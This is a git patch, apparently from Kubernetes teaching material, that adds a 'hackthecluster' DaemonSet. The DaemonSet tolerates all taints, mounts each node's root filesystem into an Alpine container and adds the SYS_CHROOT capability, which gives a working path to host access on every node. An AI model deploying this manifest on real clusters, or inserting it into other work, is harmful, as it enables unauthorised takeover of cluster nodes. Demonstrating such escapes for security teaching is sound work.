From 75f33bb9d877c5be753fe46c3cd0f83ed637a6df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Petazzoni?= Date: Fri, 21 May 2021 18:33:30 +0200 Subject: [PATCH] =?UTF-8?q?=F0=9F=95=B5=EF=B8=8F=20Add=20another=20YAML=20?= =?UTF-8?q?to=20help=20gain=20access=20to=20clusters?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- k8s/hackthecluster.yaml | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 k8s/hackthecluster.yaml diff --git a/k8s/hackthecluster.yaml b/k8s/hackthecluster.yaml new file mode 100644 index 00000000..6c7ea88b --- /dev/null +++ b/k8s/hackthecluster.yaml @@ -0,0 +1,34 @@ +apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: hackthecluster +spec: + selector: + matchLabels: + app: hackthecluster + template: + metadata: + labels: + app: hackthecluster + spec: + volumes: + - name: slash + hostPath: + path: / + tolerations: + - effect: NoSchedule + operator: Exists + containers: + - name: alpine + image: alpine + volumeMounts: + - name: slash + mountPath: /hostfs + command: + - sleep + - infinity + securityContext: + #privileged: true + capabilities: + add: + - SYS_CHROOT